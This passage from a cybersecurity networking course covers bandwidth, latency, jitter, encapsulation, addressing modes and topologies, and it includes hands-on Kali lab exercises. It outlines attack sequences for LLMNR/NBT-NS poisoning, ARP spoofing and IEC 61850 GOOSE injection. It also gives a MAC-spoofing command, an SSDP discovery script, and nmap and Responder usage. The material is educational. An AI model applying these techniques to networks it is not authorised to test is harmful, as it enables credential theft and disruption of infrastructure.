Protocol overhead (headers in every packet)
Network congestion
Half-duplex limitations
TCP flow control and congestion control
Physical medium quality

Security Relevance of Bandwidth:

DDoS characterisation: A volumetric DDoS attack aims to exhaust bandwidth. If a target's link is 10 Gbps and the attacker sends 50 Gbps, the link is saturated — legitimate traffic is crowded out. Modern DDoS attacks have reached 3.47 Tbps (Microsoft Azure, November 2021).

Exfiltration detection: A workstation that normally transfers 100 MB/day suddenly transferring 50 GB overnight is an anomaly. Baseline bandwidth monitoring makes this detectable. Tools like NetFlow and IPFIX collect per-flow bandwidth statistics that enable exactly this type of detection.

C2 traffic blending: Sophisticated attackers design C2 (command and control) communication to blend with baseline traffic. They beacon at irregular intervals, keep bandwidth low, and mimic the size patterns of legitimate traffic (mimicking HTTPS web browsing, for example). Understanding baseline bandwidth is what makes abnormal traffic visible.

OT/ICS critical point: Industrial control networks are engineered for specific, low bandwidth and extremely low latency. A Modbus poll from an HMI to a PLC might transfer only 12 bytes. If that link suddenly shows kilobytes or megabytes of traffic, something is wrong — either an attack is in progress, a misconfigured device is broadcasting, or malware is active. Bandwidth anomalies in OT networks are extremely significant.

5.3 Latency — The Speed of Information

Definition: The time it takes for data to travel from source to destination. Also called round-trip time (RTT) when measuring the time for a packet to travel to a destination and back.

Latency components — where the delay comes from:

Propagation delay:   Physical travel time through the medium
                     Light in fibre: 200,000 km/s (~2/3 speed of light)
                     1000 km distance → ~5ms one-way propagation

Transmission delay:  Time to push all bits of a packet onto the link
                     1500-byte packet on 1 Gbps link = 12,000 bits / 1,000,000,000 bps = 0.012ms

Processing delay:    Time for routers/switches to process the packet header
                     Modern routers: microseconds

Queuing delay:       Time spent waiting in router buffers during congestion
                     Highly variable — the main source of variable latency

Total RTT = 2 × (propagation + transmission + processing) + queuing

Real-world latency examples:

Ping within the same LAN:          < 1ms
Ping to server in same city:       5-15ms
Ping Istanbul to Frankfurt:        ~30ms
Ping Istanbul to New York:         ~100ms
Ping Istanbul to Singapore:        ~180ms
Ping Istanbul to Sydney:           ~280ms
Ping to LEO satellite (Starlink):  20-40ms
Ping to GEO satellite:             ~600ms

Why latency matters to security:

Timing attacks: Cryptographic side-channel attacks often exploit timing variations in cryptographic operations. If an operation takes slightly longer when a certain key bit is 1 vs 0, measuring response times across thousands of requests can reveal the key. TLS implementations are carefully designed to be constant-time for this reason.

Network reconnaissance: Latency measurements reveal network topology. A host with 1ms ping is on the local network. A host with 30ms ping is regional. This tells an attacker whether a target is local infrastructure or remote. Traceroute maps the path, and latency at each hop reveals geographic boundaries.

C2 beaconing detection: Malware that beacons to a C2 server at regular intervals creates a detectable pattern in network timing. Statistical analysis of connection timing can identify beaconing even when the traffic volume and content are normal-looking. This is how network detection tools like Zeek identify malware that evades signature-based detection.

OT/ICS critical point: Real-time industrial control has strict latency requirements. IEC 61850 GOOSE messages (used for protection relay signalling in electrical substations) must be delivered within 4ms. If an attacker can introduce latency on an OT network — through a DoS attack, traffic injection, or network device compromise — the control system's real-time performance degrades. This is a form of cyber-physical attack where a network-level action causes physical consequences.

5.4 Jitter — The Chaos in the Pipe

Definition: The variation in latency over time. Formally, jitter is the standard deviation of packet delay. If some packets take 10ms and others take 50ms, the jitter is high even if the average is acceptable.

Low jitter (stable):
Packet 1: 20ms
Packet 2: 21ms
Packet 3: 19ms
Packet 4: 20ms
Jitter: ~1ms ← Consistent, predictable

High jitter (unstable):
Packet 1: 10ms
Packet 2: 85ms
Packet 3: 12ms
Packet 4: 140ms
Jitter: ~55ms ← Unpredictable, problematic

What causes jitter:

Network congestion (packets queue in router buffers for varying amounts of time)
Different routing paths (packets sometimes take different routes and arrive out of order)
Physical layer interference (Wi-Fi especially, radio frequency interference causes variable retransmissions)
CPU load on network devices

Why jitter matters for security:

VoIP and video — the obvious case: High jitter makes voice and video communication unintelligible. Voice data arrives out of order or with gaps. A jitter buffer compensates by reordering and smoothing, but it adds latency. VoIP over Wi-Fi is particularly susceptible.

Jitter-based DDoS: Some DoS attacks deliberately introduce jitter rather than dropping traffic. The connection stays up but becomes unusable. This is harder to detect than packet loss because the link appears operational.

Network forensics: Unusual jitter patterns can indicate active attacks. A man-in-the-middle attack introduces processing delay at the intercept point. An attacker modifying packets in transit adds a small but measurable delay. High-resolution packet capture timing analysis can detect these anomalies — this is one of the techniques used in intrusion detection at the network level.

OT critical: PROFINET, EtherNet/IP, and other industrial Ethernet protocols have jitter requirements measured in microseconds. High jitter on an OT network causes missed control cycles, which manifests as physical process instability. A targeted jitter-inducing attack on an industrial network can cause a controlled process to become erratic or fail without any obviously "malicious" network traffic.

5.5 Measuring Performance — The Tools

# Measure latency — ICMP ping
ping -c 10 8.8.8.8          # 10 packets to Google DNS
# Output shows: min/avg/max/stddev — that stddev IS jitter

# Measure path latency — traceroute
traceroute -n 8.8.8.8       # -n = no DNS resolution (faster)
# Each hop shows latency — latency that jumps suddenly indicates congestion point

# Measure bandwidth — iperf3 (requires server at destination)
# On server:
iperf3 -s
# On client:
iperf3 -c server_ip -t 30   # 30-second bandwidth test
iperf3 -c server_ip -u -b 100M  # UDP test at 100 Mbps (tests jitter too)

# Monitor real-time bandwidth per interface
iftop                        # Interactive bandwidth monitor per connection
nethogs                      # Bandwidth per process
bmon                         # Interface bandwidth statistics

# Measure DNS latency
dig @8.8.8.8 google.com      # Query specific DNS server
# Look for "Query time:" in output

6. Packets and Frames — How Data Travels

6.1 The Encapsulation Model

Data does not travel across networks as a single, continuous stream. It is broken into discrete units and wrapped in layers of headers — this is called encapsulation. Each layer adds its own header (and sometimes trailer) containing information relevant to that layer's function.

Understanding encapsulation is not academic — every time you analyse a packet capture in Wireshark, you are looking at these layers. Every time you write a network detection rule, you specify which layer and which field you are inspecting. Every network attack targets specific fields in specific headers.

Application layer produces: "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n"

Transport layer adds TCP header:
[Source Port: 54321 | Dest Port: 80 | Seq: 100 | Ack: 0 | Flags: SYN | ...]
[Application Data: GET / HTTP/1.1...]
→ This unit is called a SEGMENT

Network layer adds IP header:
[Version: 4 | IHL | TOS | Total Length | ID | Flags | TTL: 64 | Proto: 6 | Checksum | Src: 192.168.1.5 | Dst: 93.184.216.34]
[TCP Segment]
→ This unit is called a PACKET

Data Link layer adds Ethernet header + trailer:
[Dst MAC: AA:BB:CC:DD:EE:FF | Src MAC: 11:22:33:44:55:66 | EtherType: 0x0800]
[IP Packet]
[FCS Trailer: checksum]
→ This unit is called a FRAME

The terminology matters:

Frame — Layer 2 unit, contains MAC addresses, travels between adjacent network nodes
Packet — Layer 3 unit, contains IP addresses, routed across networks
Segment (TCP) / Datagram (UDP) — Layer 4 unit, contains port numbers, addresses applications

6.2 Frames — The Layer 2 Unit

A frame is the unit of data at the Data Link layer. It contains everything needed to move data between two directly connected devices on the same network segment.

Ethernet Frame Structure:

┌───────────────────────────────────────────────────────────────────────┐
│ Preamble │ Dest MAC │ Src MAC │ EtherType │ Payload (46-1500 bytes) │ FCS │
│  7 bytes │ 6 bytes  │ 6 bytes │  2 bytes  │                         │ 4B  │
└───────────────────────────────────────────────────────────────────────┘

Preamble: 7 bytes of alternating 1s and 0s to synchronise receiver clock
Dest MAC: 6-byte MAC address of destination (or FF:FF:FF:FF:FF:FF for broadcast)
Src MAC:  6-byte MAC address of sender
EtherType: What protocol is in the payload (0x0800=IPv4, 0x0806=ARP, 0x86DD=IPv6)
Payload:  The IP packet (or ARP message, etc.)
FCS:      Frame Check Sequence — CRC32 checksum to detect transmission errors

Maximum Transmission Unit (MTU):
The MTU is the maximum payload size a frame can carry. Standard Ethernet MTU is 1500 bytes. This is why packets larger than 1500 bytes must be fragmented — split into multiple packets that are individually framed.

Jumbo frames (up to 9000 bytes payload) are used in data centre environments for performance — fewer frames = less header overhead = more efficient bandwidth use.

Security implication of MTU:
IP fragmentation is a classic attack vector. Fragmentation offsets in IP headers can be crafted to:

Evade intrusion detection systems that only inspect the first fragment
Cause denial of service through fragment buffer exhaustion (Teardrop attack)
Bypass firewall rules that do not reassemble fragments before inspection

Modern firewalls perform fragment reassembly before inspection, but legacy systems and some embedded OT devices still don't.

MAC Addresses — 48 bits of identity:

MAC address: AA:BB:CC:DD:EE:FF
             ─────────────── ──────────
             OUI (24 bits)   Device ID (24 bits)
             Manufacturer    Specific device

OUI examples:
00:50:56 → VMware
00:0C:29 → VMware (alternative)
3C:22:FB → Apple
DC:A6:32 → Raspberry Pi
00:1A:11 → Google

MAC addresses in security:

MAC addresses are only meaningful within the same Layer 2 network segment — they are replaced at each router hop
MAC address spoofing is trivial: ip link set eth0 address AA:BB:CC:DD:EE:FF
MAC filtering on Wi-Fi networks provides essentially no security — attackers sniff the network, identify an allowed MAC, and spoof it
MAC addresses are used for device tracking in Wi-Fi networks — modern operating systems randomise MAC addresses for probe requests specifically to prevent this
In forensics, MAC addresses in captured traffic reveal manufacturer and sometimes device model, which is useful for asset identification

6.3 Packets — The Layer 3 Unit

A packet is the unit of data at the Network layer. It contains the addressing information needed to route data across multiple networks.

IPv4 Packet Header:

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
├─────────┬─────────┬──────────────────┬──────────────────────────┤
│ Version │   IHL   │ Type of Service  │       Total Length       │
│  4 bits │  4 bits │     8 bits       │         16 bits          │
├────────────────────┬───┬───┬─────────┴──────────────────────────┤
│   Identification   │ R │DF │MF│      Fragment Offset            │
│      16 bits       │   │   │  │          13 bits                │
├────────────────────┴───┴───┴─┬──────────────┬───────────────────┤
│   Time to Live (TTL)         │   Protocol   │  Header Checksum  │
│         8 bits               │    8 bits    │     16 bits       │
├──────────────────────────────┴──────────────┴───────────────────┤
│                    Source IP Address (32 bits)                   │
├─────────────────────────────────────────────────────────────────┤
│                  Destination IP Address (32 bits)               │
├─────────────────────────────────────────────────────────────────┤
│                    Options (variable) + Padding                  │
├─────────────────────────────────────────────────────────────────┤
│                    Data (payload)                                │
└─────────────────────────────────────────────────────────────────┘

Critical fields for security:

TTL (Time to Live):
Each router that forwards a packet decrements TTL by 1. When TTL reaches 0, the packet is dropped and an ICMP "Time Exceeded" message is sent back to the sender. This prevents packets from circulating forever on misconfigured networks.

TTL fingerprinting: Different operating systems start with different default TTLs:

Linux:   64
Windows: 128
Cisco:   255
macOS:   64

If you receive a packet with TTL=115, and Windows starts at 128:
128 - 115 = 13 hops away, likely a Windows machine
This is used in OS fingerprinting — nmap uses TTL as one signal

Protocol field:
Identifies the Layer 4 protocol: 6 = TCP, 17 = UDP, 1 = ICMP, 89 = OSPF, 50 = ESP (IPSec), 51 = AH (IPSec).

IP Spoofing:
The source IP field in a packet is set by the sender. There is no built-in verification. An attacker can craft packets with any source IP — this is IP spoofing. Limitations:

Replies go to the spoofed address, not the attacker — so TCP (which requires a handshake) is generally not useful with spoofed IPs
UDP-based attacks can use spoofed IPs effectively — amplification DDoS attacks (DNS amplification, NTP amplification) work exactly this way
BCP38 (network ingress filtering) is an ISP-level best practice that drops packets with source IPs that are not routable from the customer's network — but not all ISPs implement it

6.4 Why Encapsulation Creates Security Complexity

Each encapsulation layer has its own header that can be:

Inspected — for analysis, detection, and filtering
Manipulated — for spoofing, evasion, and attack
Tunnelled — one protocol can carry another (GRE tunnels IP, IP-in-IP, DNS tunnelling carries any data in DNS queries)

Tunnel within tunnel attacks bypass security controls by hiding inner protocol traffic:

Legitimate: [Ethernet][IP][TCP][HTTP][Payload]
Tunnelled:  [Ethernet][IP][UDP][DNS][Encoded C2 commands]

DNS is allowed through most firewalls.
An attacker who encodes C2 traffic as DNS queries bypasses firewall rules
that block direct TCP connections to attacker infrastructure.

This is why deep packet inspection (DPI) — which inspects all layers, including decrypting and inspecting TLS traffic — is a feature of modern security appliances. Perimeter security that only looks at IP addresses and ports is fundamentally blind to a significant portion of modern attack techniques.

7. Unicast, Multicast, Broadcast — Addressing Modes

7.1 The Fundamental Question: Who Receives This?

When a device sends data on a network, the addressing mode determines who receives it. This has direct security implications — some attacks work by abusing these addressing modes.

7.2 Unicast — One to One

[Device A] ──────────────────────────────→ [Device B]
           (Only Device B receives this)

Example: Your browser loading a web page
         192.168.1.5 → 93.184.216.34 (example.com)

Unicast is the dominant mode for all normal application traffic — web, email, file transfer, SSH, video calls. The destination is a single specific device identified by its MAC address (Layer 2) or IP address (Layer 3).

Security characteristics:

Unicast traffic is "private" in the sense that only the intended recipient's NIC is supposed to process it
But: On shared media (Wi-Fi, old hub-based networks), all devices receive all frames — NICs normally discard frames not addressed to them
Promiscuous mode: A NIC can be configured to capture ALL frames, not just those addressed to it. This is how packet sniffers (Wireshark, tcpdump) work. On a Wi-Fi network, anyone nearby with a card in monitor mode can capture your unicast traffic. On a switched Ethernet network, this requires ARP poisoning to redirect traffic through the attacker.

7.3 Broadcast — One to All

[Device A] ──────────────────────────────→ [Device B]
                                         → [Device C]
                                         → [Device D]
                                         → [ALL devices in the broadcast domain]

Layer 2 Broadcast: Destination MAC = FF:FF:FF:FF:FF:FF. Every device on the same Layer 2 segment receives and processes this frame.

Layer 3 Broadcast: Destination IP = 255.255.255.255 (limited broadcast, stays on local subnet) or 192.168.1.255 (directed broadcast for 192.168.1.0/24 subnet).

Protocols that use broadcast:

ARP (Address Resolution Protocol): "Who has IP 192.168.1.1? Tell 192.168.1.5" — broadcast because the destination MAC is not yet known
DHCP Discovery: "I need an IP address" — broadcast because the client doesn't know the DHCP server's address
NetBIOS Name Service: Legacy Windows name resolution — this is what LLMNR/NBT-NS poisoning attacks target
OSPF Hello packets: Routing protocol neighbour discovery

Broadcast domains:
Every Layer 2 network segment is a broadcast domain — all devices in it receive all broadcasts. Routers do NOT forward broadcasts — they create boundaries between broadcast domains. This is why segmenting a large flat network with VLANs reduces broadcast traffic and limits the scope of broadcast-based attacks.

Security attacks leveraging broadcast:

LLMNR/NBT-NS Poisoning (Responder):
This is one of the most common and effective attacks in Active Directory environments, and it exploits broadcast-based name resolution.

Attack sequence:
1. User types: \\fileserver (but mistyped — server doesn't exist)
2. Windows tries: DNS → fails
3. Windows tries: LLMNR broadcast → "Who is 'fileserver'?"
4. All machines on the subnet receive this broadcast
5. Attacker's machine (running Responder) answers: "I am fileserver!"
6. Windows sends NTLM authentication to attacker
7. Attacker captures NTLMv2 hash
8. Hash cracked offline or used in relay attack

This requires NO prior access — just being on the same network segment.
This is why guest Wi-Fi must be isolated from corporate networks.
LLMNR and NBT-NS should be disabled in secure environments.

Smurf Attack (historical but important):
Send ICMP echo requests with spoofed source IP (victim's IP) to network broadcast address. All devices on the network reply to the victim. Amplification ratio = number of hosts on network.

ARP Spoofing/Poisoning (uses broadcast):

1. Attacker broadcasts ARP reply: "192.168.1.1 (gateway) is at MY_MAC"
2. All devices update their ARP cache with the false mapping
3. Traffic destined for the gateway now goes to attacker
4. Attacker forwards traffic to real gateway (transparent MITM)
5. Attacker can read, modify, or drop all traffic

Tools: arpspoof (dsniff), ettercap, Bettercap
Detection: Static ARP entries, ARP inspection on switches, anomaly detection

7.4 Multicast — One to Many (Specific Group)

[Device A] ──────────────────────────────→ [Device B]  ← subscribed
                                         → [Device D]  ← subscribed
                                           [Device C]  ← NOT subscribed (ignores)
                                           [Device E]  ← NOT subscribed (ignores)

Multicast sends to a specific group of interested recipients — not all devices, not just one. Devices must subscribe to multicast groups to receive them.

Multicast addresses:

Layer 3: IPv4 Class D range: 224.0.0.0 to 239.255.255.255
Layer 2: MAC addresses starting with 01:00:5E (IPv4 multicast) or 33:33 (IPv6 multicast)

Protocols using multicast:

OSPF: 224.0.0.5 (all OSPF routers) and 224.0.0.6 (OSPF designated routers)
EIGRP: 224.0.0.10
PIM (Protocol Independent Multicast): Routing protocol for multicast traffic
mDNS (Multicast DNS): 224.0.0.251 — used by Apple Bonjour, Chromecast, network printer discovery
SSDP (Simple Service Discovery Protocol): 239.255.255.250 — used by UPnP
Video streaming: Live video distributed to multiple subscribers simultaneously
IEC 61850 GOOSE messages: In electrical substations, GOOSE (Generic Object Oriented Substation Event) uses Ethernet multicast to distribute protection relay status to multiple subscribing devices

Security relevance of multicast:

mDNS and SSDP — Information Leakage:
mDNS and SSDP broadcasts reveal significant information about the network — device names, services, software versions. Attackers use tools like avahi-browse and miranda (UPnP exploitation) to enumerate these.

# Discover mDNS services on network (passive — just listen)
avahi-browse -a -t

# Discover SSDP services (UPnP)
python3 -c "
import socket, time
msg = 'M-SEARCH * HTTP/1.1\r\nHOST:239.255.255.250:1900\r\nST:ssdp:all\r\nMAN:\"ssdp:discover\"\r\nMX:1\r\n\r\n'
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(msg.encode(), ('239.255.255.250', 1900))
s.settimeout(3)
while True:
    try: print(s.recvfrom(1024)[0].decode())
    except: break
"

IEC 61850 GOOSE — OT Attack Surface:
GOOSE messages carry protection relay signals in electrical substations. They use multicast with no authentication in the basic standard. An attacker on the substation LAN can:

Inject spoofed GOOSE messages to trigger protection relay operations
Suppress legitimate GOOSE messages (blocking relay operation during a fault)
Replay captured GOOSE messages

This is a real, demonstrated attack capability against electrical infrastructure. Stuxnet-era research showed that substation LAN access combined with GOOSE injection could cause breaker misoperation.

7.5 Anycast — One to Nearest (Bonus Topic)

Anycast is a routing technique where the same IP address is announced from multiple physical locations. Traffic is routed to the topologically nearest instance.

Same IP: 1.1.1.1 (Cloudflare DNS)
Announcement from: London, Frankfurt, New York, Singapore, São Paulo...
Your packet always routes to the nearest one automatically

Benefits:
- Automatic geographic load balancing
- DDoS resilience (attack traffic is distributed across all anycast nodes)
- Reduced latency (nearest node serves you)

Anycast is how major DNS providers (Cloudflare 1.1.1.1, Google 8.8.8.8), CDNs, and DDoS mitigation services work at global scale. Understanding anycast explains why a DDoS against 1.1.1.1 is much harder than DDoS against a single-server DNS — you would have to simultaneously overwhelm hundreds of geographically distributed nodes.

8. Network Topologies and Their Security Implications

This section is not in the original module outline but is essential for security professionals — network topology directly determines attack paths, blast radius of a compromise, and the effectiveness of security controls.

8.1 Physical vs Logical Topology

Physical topology: How devices are physically connected — cables, switches, their physical locations.

Logical topology: How data flows — the paths packets actually take, which may differ from physical connections (VLANs create logical separation on the same physical infrastructure).

Security operates primarily at the logical topology level — VLANs, routing policies, and firewall rules shape logical topology. But physical topology matters too — an attacker with physical access to a network cable or switch port can bypass all logical security controls.

8.2 Common Topologies and Their Security Profiles

Star Topology (Dominant in modern LANs):

        [Switch]
       /   |   \
  [PC1] [PC2] [PC3]

All devices connect to a central switch. The switch is a critical point of failure and control. Compromise the switch → control all traffic. Most enterprise LANs use hierarchical star (access → distribution → core).

Bus Topology (Historical, still relevant in OT):

[PC1]---[PC2]---[PC3]---[PC4]
         (shared medium)

All devices share a single communication medium. Any device can hear all traffic. Collision domains. This topology is still used in some industrial fieldbus systems (Modbus RTU on RS-485, CAN bus in automotive/industrial). A single compromised device can disrupt all communication.

Ring Topology (Industrial networks):

[PLC1] → [PLC2] → [Switch] → [HMI]
  ↑                              ↓
[IED] ← [Relay] ← [RTU] ← [Historian]

PROFIBUS, some IEC 61850 implementations, and industrial Ethernet with ring redundancy (RSTP/MRP) use ring topologies. Ring networks have high availability (two paths), but ring protocols (like RSTP) have been attacked — STP attacks can force topology recalculation and cause temporary outages.

Mesh Topology (WAN, Wi-Fi mesh):

[A] ←→ [B]
 ↕  ✕   ↕
[C] ←→ [D]

Every node connects to multiple others. Extremely redundant. The internet uses a form of mesh topology at the WAN level. Wi-Fi mesh networks use this for coverage. Hard to completely sever connectivity but provides multiple attack paths.

9. The Security Mindset on Networks

9.1 Every Network Is Hostile Until Proven Otherwise

The security principle underlying modern network design: assume compromise. A device on the network might be:

An attacker's laptop they physically plugged in
A legitimate device that has been compromised by malware
A legitimate device being used maliciously by an insider
A legitimate device with misconfigured settings

Network security controls must function correctly even when some network participants are actively adversarial. This is the foundation of the Zero Trust model.

9.2 The Network Knows Everything

Every packet that crosses a network is a piece of evidence. Network forensics — capturing and analysing network traffic — can reconstruct:

What sites a user visited (from DNS queries and HTTP traffic)
What files were transferred (from FTP, SMB, HTTP traffic)
What commands were executed (from SSH session data, RDP session data)
What credentials were used (from Kerberos tickets, NTLM challenges, plaintext protocols)
What malware was present (from C2 beaconing patterns, known malware signatures)
The timeline of an attack (from connection timestamps)

This works for defenders reading attacker traffic. It also works for attackers reading network traffic on a network they have access to.

9.3 The Core Attacker's Perspective on Networks

When an attacker gains a foothold on a network (initial access), their first questions are:

What network am I on? What is the subnet? (IP address, subnet mask)
What else is on this network? (ARP table, ping sweep, port scan)
Where does this network connect to? (Default gateway, routing table)
What services are running? (Port scan of discovered hosts)
Can I reach other network segments? (Route table, probing other subnets)
Is traffic being monitored? (IDS/IPS detection, response time to connection attempts)
What protocols are in use? (Passive traffic analysis)

Each of these questions maps directly to network concepts. Understanding networks from first principles means you can think through both sides of this — what the attacker sees and how to detect it.

10. Hands-On Exercises

Exercise 1: Map Your Network (30 minutes)

# On your Kali VM:

# 1. Determine your current network configuration
ip addr                              # Your IP and subnet
ip route                             # Default gateway and routing table
cat /etc/resolv.conf                 # DNS servers

# 2. Identify your broadcast domain
# If you are 192.168.1.50/24, your network is 192.168.1.0/24
# Broadcast is 192.168.1.255

# 3. Discover live hosts (ARP-based, Layer 2, no firewall evasion needed for local)
sudo arp-scan --localnet
# Or:
sudo nmap -sn 192.168.1.0/24        # Ping scan of entire subnet
# Record: how many hosts? What IPs?

# 4. Check ARP cache — who has communicated recently?
arp -a
ip neigh show

# 5. Measure latency to various destinations
ping -c 5 192.168.1.1               # Your gateway
ping -c 5 8.8.8.8                   # Google DNS (measure internet latency)
ping -c 5 1.1.1.1                   # Cloudflare DNS

# 6. Trace the path to a destination
traceroute -n 8.8.8.8               # Map the route
# Count hops, note where latency jumps — that jump indicates a geographic boundary

# 7. Capture raw traffic with tcpdump
sudo tcpdump -i eth0 -c 50 -n       # Capture 50 packets, no DNS resolution
sudo tcpdump -i eth0 broadcast      # Only broadcast traffic
# Observe: what protocols are using broadcast?

Exercise 2: Broadcast Traffic Analysis (45 minutes)

# Capture and analyse broadcast traffic to understand what your network reveals

# 1. Capture all broadcast traffic for 60 seconds
sudo tcpdump -i eth0 -w /tmp/broadcast.pcap \
    'ether dst ff:ff:ff:ff:ff:ff or ip dst 255.255.255.255' &
sleep 60
kill %1

# 2. Analyse in Wireshark
wireshark /tmp/broadcast.pcap

# Questions to answer:
# - What protocols are using broadcast?
# - What device information is revealed by the broadcasts?
# - Can you identify device types from MAC OUIs?
# - What LLMNR/mDNS queries are visible (if any)?
# - What ARP traffic do you see?

# 3. Run Responder in analyse mode (no poisoning — observe only)
sudo responder -I eth0 -A           # -A = analyse mode only, no responses
# What name resolution broadcasts appear?
# This shows you what Responder would capture in an active attack

Exercise 3: Packet Structure Deep Dive (1 hour)

# Capture and manually dissect packets to understand encapsulation

# 1. Capture HTTP traffic
sudo tcpdump -i eth0 -w /tmp/http.pcap port 80

# In another terminal, generate HTTP traffic:
curl http://neverssl.com

# 2. Open in Wireshark and examine:
wireshark /tmp/http.pcap

# For each packet, expand every layer:
# - Ethernet II header: source/dest MAC, EtherType
# - IPv4 header: source/dest IP, TTL, Protocol, fragmentation fields
# - TCP header: source/dest port, sequence/ack numbers, flags, window size
# - HTTP: method, URI, headers, body

# 3. Find the TCP handshake (SYN, SYN-ACK, ACK)
# Right-click → Follow → TCP Stream to see the entire conversation

# 4. Check the TTL to fingerprint the remote OS
# Filter: ip.dst == your_ip
# Look at TTL of incoming packets — 64=Linux/Mac, 128=Windows, 255=Cisco

# 5. Capture ICMP (ping) and observe packet structure
ping -c 3 8.8.8.8 &
sudo tcpdump -i eth0 -w /tmp/icmp.pcap icmp
wireshark /tmp/icmp.pcap
# Observe ICMP echo request vs echo reply, sequence numbers, TTL

Exercise 4: Bandwidth and Latency Measurement (30 minutes)

# Measure actual network performance metrics

# 1. Latency + jitter measurement
ping -c 100 8.8.8.8
# From the summary line, note: min/avg/max/stddev
# stddev IS jitter — how variable is the latency?

# Compare:
ping -c 100 $(ip route | grep default | awk '{print $3}')  # Gateway (LAN)
ping -c 100 8.8.8.8                                          # Internet

# 2. Path latency analysis with traceroute
mtr 8.8.8.8                         # Interactive traceroute with statistics
# Run for 30 seconds, observe:
# - Where does latency jump? (Geographic or ISP boundary)
# - Where is packet loss? (Overloaded router)
# - How consistent is each hop? (Jitter per hop)

# 3. Bandwidth test (if iperf3 server available)
# Run your own: on any Linux machine you can SSH into:
iperf3 -s                            # Start server
# On client:
iperf3 -c server_ip                  # Test TCP throughput
iperf3 -c server_ip -u -b 0         # Test UDP (unlimited — shows max)
iperf3 -c server_ip --bidir         # Bidirectional test

# 4. Python jitter measurement script
python3 << 'PYTHON'
import subprocess, re, statistics

def measure_ping(host, count=20):
    result = subprocess.run(
        ['ping', '-c', str(count), host],
        capture_output=True, text=True
    )
    times = re.findall(r'time=(\d+\.?\d*)', result.stdout)
    times = [float(t) for t in times]
    if times:
        print(f"\nTarget: {host}")
        print(f"Packets: {len(times)}")
        print(f"Min: {min(times):.2f}ms")
        print(f"Max: {max(times):.2f}ms")
        print(f"Avg: {statistics.mean(times):.2f}ms")
        print(f"Jitter (stddev): {statistics.stdev(times):.2f}ms")

measure_ping("192.168.1.1")   # Gateway
measure_ping("8.8.8.8")       # Internet
PYTHON

Exercise 5: Unicast vs Broadcast Capture (30 minutes)

# See the difference between unicast and broadcast at the packet level

# 1. Capture broadcast traffic
sudo tcpdump -i eth0 -n -e 'ether dst ff:ff:ff:ff:ff:ff'
# -e = show link-level (Ethernet) headers including MAC addresses
# Observe: what protocols send to ff:ff:ff:ff:ff:ff?

# 2. Trigger an ARP broadcast manually
# In another terminal:
sudo arping -I eth0 -c 3 192.168.1.1
# Back in tcpdump: observe the ARP who-has broadcast

# 3. Observe multicast traffic
sudo tcpdump -i eth0 -n -e 'ether dst 01:00:5e:00:00:00/ff:ff:ff:00:00:00'
# This filter captures all IPv4 multicast (starts with 01:00:5e)
# What do you see? mDNS? OSPF? SSDP?

# 4. Set NIC to promiscuous mode and observe all traffic
sudo ip link set eth0 promisc on
sudo tcpdump -i eth0 -n -e -c 100  # Capture 100 frames in promisc mode
sudo ip link set eth0 promisc off  # Turn off after exercise
# Observe: are you seeing traffic not addressed to your MAC?
# (On a switched network, probably not — switches only send relevant traffic)
# On Wi-Fi in monitor mode, you would see all traffic

11. Further Reading and Resources

Foundational Papers and RFCs

These are primary sources — the actual specifications that define how these technologies work. Security professionals read RFCs because the attack surface often exists in edge cases of the specification.

RFC 791 — Internet Protocol (IPv4). The original IP specification. Sections on fragmentation are particularly relevant.
RFC 826 — ARP. Remarkably short — read it completely. Understanding the simplicity of ARP makes ARP poisoning obvious.
RFC 1918 — Address Allocation for Private Internets. Defines 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16.
RFC 4271 — BGP-4. Understanding BGP is essential for understanding internet-scale routing vulnerabilities.
RFC 4443 — ICMPv6. Understanding ICMP is essential for understanding ping flood, redirect, and other ICMP-based attacks.

Books

"Computer Networks" — Andrew Tanenbaum. The gold standard textbook. Dense but complete. Every network professional should read chapters 1-4.
"Network Security Assessment" — Chris McNab (O'Reilly). Directly applicable to security assessments. Third edition covers modern techniques.
"The Practice of Network Security Monitoring" — Richard Bejtlich. How to build a network security monitoring programme using open-source tools. Practical and excellent.
"Silence on the Wire" — Michal Zalewski. A unique perspective on network security — passive eavesdropping, timing attacks, and the information leaked by network traffic. Essential reading.

Tools to Install and Master

# These are the core network analysis tools for this stage
sudo apt install -y \
    wireshark \          # GUI packet analyser — the primary tool
    tshark \             # Command-line Wireshark
    tcpdump \            # CLI packet capture — lighter than Wireshark
    nmap \               # Network mapper — port scanning, OS detection
    netcat \             # Network Swiss Army knife (nc)
    iperf3 \             # Bandwidth measurement
    mtr \                # Enhanced traceroute with statistics
    arp-scan \           # ARP-based host discovery
    netdiscover \        # Passive network discovery
    responder \          # LLMNR/NBT-NS poisoner (Kali includes this)
    wireshark-doc        # Wireshark documentation

# Python libraries for network work
pip3 install scapy       # Packet crafting and analysis — the key Python network library
pip3 install dpkt        # Fast packet parsing

Online Resources

Wireshark sample captures — wiki.wireshark.org/SampleCaptures — practice packet analysis with real-world captures of every protocol
PacketLife.net cheat sheets — protocol header reference cards, excellent for quick lookup
IANA Protocol Registry — iana.org — authoritative source for protocol numbers, port assignments
Shodan.io — search engine for internet-connected devices — gives you a real sense of what is exposed on the internet
BGP Hurricane Electric — bgp.he.net — visualise BGP routing, autonomous system information
The Cloudflare Blog — blog.cloudflare.com — high-quality technical articles on network attacks, DDoS, BGP, DNS

Practice Platforms

TryHackMe — "Pre-Security" path — covers networking fundamentals interactively
Wireshark Challenges — on CyberDefenders.org and other blue team platforms
PacketCafe — cloud-based packet analysis practice
CTFtime.org — "network" category — real CTF challenges involving packet analysis

Module Summary

Concept	Security Application
Network fundamentals	Why networks are the attack surface and the evidence trail
PAN (Bluetooth/NFC/Zigbee)	BlueBorne, NFC relay, Zigbee key capture — proximity attacks
LAN	Primary attack environment — ARP poisoning, MITM, lateral movement, AD attacks
MAN	City-scale infrastructure attacks, utility network targeting
WAN/Internet	BGP hijacking, routing attacks, internet-scale DDoS
Bandwidth	DDoS characterisation, exfiltration detection, C2 traffic analysis
Latency	Timing attacks, network topology mapping, C2 detection via timing
Jitter	OT attack impact, network forensics anomaly detection, DoS characterisation
Frames	ARP poisoning (Layer 2), MAC spoofing, fragmentation attacks, GOOSE injection
Packets	IP spoofing, TTL fingerprinting, fragmentation evasion
Broadcast	LLMNR/NBT-NS poisoning (Responder), Smurf attack, ARP spoofing
Multicast	mDNS/SSDP enumeration, IEC 61850 GOOSE injection, UPnP attacks
